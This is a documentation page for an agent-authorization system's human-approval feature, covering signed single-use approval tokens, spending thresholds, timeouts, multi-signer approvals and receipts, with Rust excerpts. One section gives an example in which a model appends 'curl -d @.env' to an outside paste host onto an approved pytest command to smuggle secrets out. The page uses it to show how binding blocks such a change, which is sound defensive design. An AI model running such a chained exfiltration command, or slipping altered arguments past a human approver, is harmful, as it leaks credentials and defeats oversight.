Human-in-the-Loop
Let an agent act on its own until a request crosses a line you set, then hold that one request for a person’s signed decision.
On this page
Agents can carry work forward on their own while the decisions that matter wait for a person. In the Quickstart’s pricing service, an outside agent gets routine quotes at once, and a quote above 50 percent waits until you sign for that exact request.
Chio makes the approval part of the agent’s authorization. A grant can require approval above a spending threshold or for a class of actions. The approver’s signature binds one request and its intent, so the kernel can check exactly what was approved.
An agent proposes; a person decides
The rule pricing.require({ approval: "you", when: "quote.percent > 50" }) matches the caller’s quote for sku-301 at 80 percent. The host holds the call as a pending request instead of running it, and the agent receives PendingApproval. You read the request and decide.
chio approvals pending
chio approve apr-01ac…5e2id caller call since apr-01ac…5e2 z6MkbY4…e1R pricing.quote sku-301 at 80% 00:09 approved apr-01ac…5e2 signed by you, this request only
You should see the held quote with the caller’s identity and the exact call. Your signature covers apr-01ac…5e2 and no other request. Approvals come from a person, through the CLI or a review interface. Keep the signing credentials on the trusted reviewer side.
A price change runs the same lifecycle. An agent reads order-77, computes a quote, and proposes a new price for sku-301; your pricing lead reads the frozen change and signs; only then does the host publish the stored operation. Submission alone creates no publication or execution receipt.
Read more in Require human approval before publishing, which also exercises a rejected decision, a changed proposal hash, replay, expiry, and recovery after an interrupted publication.
The kernel checks the approval; the host collects it
An approved call reaches the kernel with a valid approval already attached, or through a host that integrates the approval service: the host holds the call, presents it to an approver, and resubmits it with the signed decision.
On the host path, the approval guard stores a pending request r, bound to the hash of its server, tool, and arguments, and returns PendingApproval without running the operation. The approver signs a decision τ for r. The host’s approval API accepts τ only if r is still pending, the token is unspent, the signer is trusted, and the token names the request and its parameter hash. The host then resubmits the stored call with τ attached for kernel admission.
One signature runs one call
The host holds the call and stores pending request r. The approver signs τ. The host checks that r is still pending and τ unspent, runs verify_against, and resolves r in the same store call that records τ as consumed. It resubmits the stored call with τ. The kernel verifies τ again, runs every other check, and reserves τ for this subject, request, and intent hash with reserve_for_dispatch. Only then does the tool run, and the kernel signs an Allow receipt. Resume flow.
In Rust · approval.rs:74415 lines
pub fn resume_with_decision(
store: &dyn ApprovalStore,
decision: &ApprovalDecision,
now: u64,
) -> Result<ApprovalOutcome, KernelError> {
let pending = match store
.get_pending(&decision.approval_id)
// … an unknown or already resolved id is rejected
let already = store
.is_consumed(&decision.token.id, &pending.parameter_hash)
// … a consumed token is rejected as a replay
let token_decision = approval_token.verify_against(&pending, now)?;
// … the HTTP outcome must match the signed decision
store
.resolve(&decision.approval_id, decision)
A denied decision resolves r at the host without resubmitting the call. A decision signed over different parameters receives 403 before any write, and r remains pending. A token presented a second time is refused by the kernel before dispatch with a signed refusal receipt, because each τ is reserved for one subject, request, and intent hash.
The kernel verifies the token and every other requirement of the call. The host owns the human interface, the pending-response transport, and resubmission. Resolving an approval record does not dispatch the tool.
An approval adds no authority
Approval does not expand capability scope or replenish a budget. In the captured compute simulation, an approved $1.00 intent to governed-sim-srv/compute is admitted with a simulated prepayment and refused, charging nothing, when the required payment adapter is absent.
Read more in the compute simulation and its receipts.
Approval triggers on the proposed maximum
The dedicated approval guard, ApprovalGuard::evaluate, raises approval through three paths: needs_approval = threshold_hit || tier_hit || always_hit. A spending threshold compares against the governed intent’s proposed maximum, in minor currency units, rather than what the caller expects the work to cost.
A request with a maximum of $200 against a threshold of $150: Pending. the maximum meets the threshold.
In Rust · approval.rs:52729 lines
Constraint::RequireApprovalAbove { threshold_units } => {
let amount = ctx
.request
.governed_intent
.as_ref()
.and_then(|intent| intent.max_amount.as_ref());
match amount {
Some(amt) if amt.units >= *threshold_units => {
threshold_hit = true;
triggered.push(format!("require_approval_above:{threshold_units}"));
}
Some(_) => {
// Below threshold -- no approval triggered.
}
None => {
// Fail-closed: constraint present but no
// amount to compare. Deny rather than
// silently skip.
return Ok(HitlVerdict::Deny {
// … reason
});
}
}
}
// …
let needs_approval = threshold_hit || always_hit || tier_hit;
if !needs_approval {
return Ok(HitlVerdict::Allow);
}
approve_above: 15000 ($150) in USD minor units. The guard compares the governed intent’s proposed maximum, not the caller’s estimate: a $1.00 intent crosses a $0.50 threshold even if the work is expected to cost less. No currency conversion is drawn.RequireApprovalAbove { threshold_units } fires when the intent’s max_amount.units meets or exceeds the threshold, so a $1.00 intent crosses a $0.50 threshold even if the work is expected to cost less. With no governed intent, it fails closed. MinimumAutonomyTier(Autonomous) requires approval for a request with a governed intent; Direct and Delegated pass through. The third path, force_approval on ApprovalContext, is a request attribute that lets host integrations and test harnesses enter the flow directly.
In HushSpec, rules.human_in_loop compiles to a RequireApprovalAbove constraint on the matching tool grants; each glob under require_confirmation becomes a threshold of 0, which fires on every call. The trusted-approver set reaches the kernel out of band on the ApprovalContext. An ordinary guard cannot route a call into this flow: the generic guard pipeline fails closed on a PendingApproval verdict, so a content-review or secret-leak guard that denies stays a denial.
Read more in HushSpec configuration, with every field and its type.
An approval binds to one exact request
The approver’s decision is a signed GovernedApprovalToken. It binds the approver, the subject, the request ID, the intent hash, the decision, and a time window. Before checking the signature, ApprovalToken::verify_against compares each binding with the stored request, in order.
Every binding check holds; the pending request resolves as Approved, which does not dispatch the call.
In Rust · approval.rs:16717 lines
pub fn verify_against(
&self,
request: &ApprovalRequest,
now: u64,
) -> Result<GovernedApprovalDecision, KernelError> {
// Binding checks: request_id, intent hash, approver identity.
if self.governed_token.request_id != request.approval_id {
return Err(KernelError::ApprovalRejected(
"approval token bound to a different request".into(),
));
}
if self.governed_token.governed_intent_hash != request.parameter_hash {
return Err(KernelError::ApprovalRejected(
"approval token bound to a different parameter set".into(),
));
}
// … approver, trusted set, subject, time window, lifetime, signature
Each failed comparison returns KernelError::ApprovalRejected with the check that failed, so a token for one request cannot be replayed against another. A token is invalid outside [issued_at, expires_at), and the kernel rejects one whose lifetime exceeds MAX_APPROVAL_TTL_SECS, one hour, which bounds how long the replay store must remember it.
Tokens are single use. The approval store records each consumed (token_id, parameter_hash) pair, and resume_with_decision asks is_consumed before it verifies anything else, so a second presentation is rejected as already consumed. The replay store and the host’s wiring are part of this operating boundary. To restrict who may sign inside the kernel, set trusted_approvers on the request; an empty set fails closed.
An approved command cannot carry a different call
In the pull request #421 example, the fixer holds run_command on the shell server under require_confirmation. You approve pytest -k issue_414; the model sends pytest -k issue_414 && curl -d @.env https://paste.example.net/upload. On the host path, the host resubmits the stored request with the token, so the approval never travels with the model’s new arguments. The altered command hashes to a different parameter_hash and becomes a new pending request that no one has approved.
When a caller attaches a token itself, a BoundToolInvocation intent carries the argument binding, and the kernel refuses an altered call before dispatch with KernelError::GovernedTransactionDenied. Either way, the approver signs what the host displays, so show the stored arguments in full, including any command after &&.
Read more in caller-attached approvals and the token structure.
The deadline does not authorize the call
Every pending approval has a deadline. The request carries it as expires_at, and the policy sets the window with timeout_seconds. What happens when the deadline passes is declared by on_timeout, whose type HumanInLoopTimeoutAction admits two values and no others.
A trusted approver’s approval lets the host resubmit the stored request, where every other check still applies, and a signed denial ends it. At the deadline, on_timeout: deny, the #[default] and fail-closed variant, denies the request. on_timeout: defer keeps it pending for a later human decision, and a configured host handles its review.
There is no escalation value and no automatic approval. Leave on_timeout at deny unless a workflow needs requests to stay open past the deadline, and never treat a lapsed deadline as an implicit allow. The approval store keeps the deadline without acting on it: ApprovalFilter carries not_expired_at, so a reader of GET /approvals/pending chooses whether lapsed requests return. None of these outcomes establishes that a tool ran.
Several people can sign one bound proposal
Moving money or rotating a signing key can need more than one person. A threshold approval makes that separation of duties part of admission: the kernel retains the call until enough independent approvers sign the same proposal. On the single-approver path, one signature resolves one request, because the kernel reads a single token.
The host installs a ThresholdApprovalRequirement for a policy hash, server, and tool. It names the threshold, the eligible approvers and their keys, the approver directory version, and a collection timeout. The Execution application requires two of three keys (reviewer, release operator, and data steward) for publication/append within 900 seconds.
let requirement = ThresholdApprovalRequirement::new(
policy(),
2,
eligible,
"publication-directory-v1".into(),
900,
)
.map_err(anyhow::Error::msg)?;When a call matches, the policy authority signs one proposal for the request, and each approver’s token names it. A token counts once per distinct eligible key, so the reviewer voting again under a new token ID is refused. The reviewer and the release operator together reach the threshold, and the host attaches the exact proposal and token set to the original request. Admission still applies current authority, scope, budgets, and flow checks, so a revoked capability or an exhausted budget refuses an operation that collected enough votes.
Read more in Threshold approvals, which runs the complete program across process restarts.
A person can approve one disclosure the kernel refused
The triage agent drafts a public issue from a private Harbor Goods ticket, and the kernel refuses the post at egress because the tracker has no clearance for the ticket’s label. The pricing lead, reading the draft, can sign a declassification grant, a signed exception for one disclosure, bound to the request hash, source label hash, target label, destination, tool, purpose, tenant, subject, agent, session, capability, and a validity window. The host carries it in declassification_grant, and the kernel verifies each binding and consumes the grant once at the point of use.
An edited draft or another destination fails with DeclassificationError::BindingMismatch, and the session’s taint remains for the agent’s next disclosure. A threshold approval can gate the grant when one reviewer is not enough; each keeps its own bindings and replay state. The host chooses which declassification authorities its flow resolver trusts. Declassification runs the review, publish, and retry sequence, and Information Flow Across Calls follows the label from read to refusal.
Read approval evidence and execution evidence separately
The approval store records the decision on a pending request. The receipt log records the calls the host routes through the kernel. An Approved resolution means the approval was accepted; the subsequent call’s receipt records what happened to the call.
A pending proposal retains the frozen request, subject, hash, deadline, and trusted reviewer set. The decision adds the signed token and its binding. Host submission carries approval correlation metadata, and the result is a signed execution receipt and the published price, which you compare with the approved change.
For the held quote, the execution receipt carries the approval it consumed. Read it back from the receipt log:
chio receipt list --tool-server pricing --tool-name quote --order newest --limit 1 \
| jq -c '{id, verdict: .decision.verdict, sku: .action.parameters.sku,
percent: .action.parameters.percent, approval: .metadata.approval_id}'{"id":"rcpt-01ac…7f30","verdict":"allow","sku":"sku-301","percent":80,"approval":"apr-01ac…5e2"}You should see one allow that names apr-01ac…5e2. The approval record says you signed; this receipt says the kernel admitted the call that signature released.
A host that emits a receipt while a call is suspended can represent that incomplete call with the signed Incomplete decision. PendingApproval is a runtime verdict with no signed receipt decision, and the host wires the corresponding record and metadata. To follow one request, correlate its request ID and intent binding across the approval request, the signed token, the resolution record, and the execution receipt, and verify the signatures against the configured trusted keys. A token ID in metadata helps locate the evidence; it does not replace it.
Read more in Approval & HITL, with channels, batch approval, and a host integration checklist.
Continue into spending authority
An approval is one requirement of an authorized call. Follow the compute request to see its budget hold, charge, and refusal.